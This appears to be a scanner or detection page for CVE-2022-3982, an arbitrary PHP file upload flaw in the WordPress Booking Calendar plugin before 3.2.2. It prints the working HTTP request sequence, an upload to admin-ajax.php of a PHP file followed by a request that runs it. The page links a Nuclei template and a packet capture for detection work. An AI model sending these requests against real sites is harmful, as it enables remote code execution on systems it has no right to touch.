CVE-2022-3982: WordPress Booking Calendar <3.2.2 - Arbitrary File Upload

🔍 Vulnerability Description

WordPress Booking Calendar plugin before 3.2.2 is susceptible to arbitrary file upload possibly leading to remote code execution. The plugin does not validate uploaded files, which can allow an attacker to upload arbitrary files, such as PHP, and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 829
Content-Type: multipart/form-data; boundary=------------------------1cada150a8151a54
Accept-Encoding: gzip

--------------------------1cada150a8151a54

Content-Disposition: form-data; name="action"



wpdevart_form_ajax

--------------------------1cada150a8151a54

Content-Disposition: form-data; name="wpdevart_id"



x

--------------------------1cada150a8151a54

Content-Disposition: form-data; name="wpdevart_nonce"



YdWaDg

--------------------------1cada150a8151a54

Content-Disposition: form-data; name="wpdevart_data"



{"wpdevart-submit":"X"}

--------------------------1cada150a8151a54

Content-Disposition: form-data; name="wpdevart-submit"



1

--------------------------1cada150a8151a54

Content-Disposition: form-data; name="file"; filename="38FC6OVocV8EaRr8zkFzbmRlJnf.php"

Content-Type: application/octet-stream



<?php echo md5("CVE-2022-3982");unlink(__FILE__);?>



--------------------------1cada150a8151a54--

GET /wp-content/uploads/booking_calendar/38FC6OVocV8EaRr8zkFzbmRlJnf.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_10_3 rv:2.0; so-DJ) AppleWebKit/533.15.6 (KHTML, like Gecko) Version/4.0.2 Safari/533.15.6
Connection: close
Accept-Encoding: gzip

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-3982.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-3982.pcap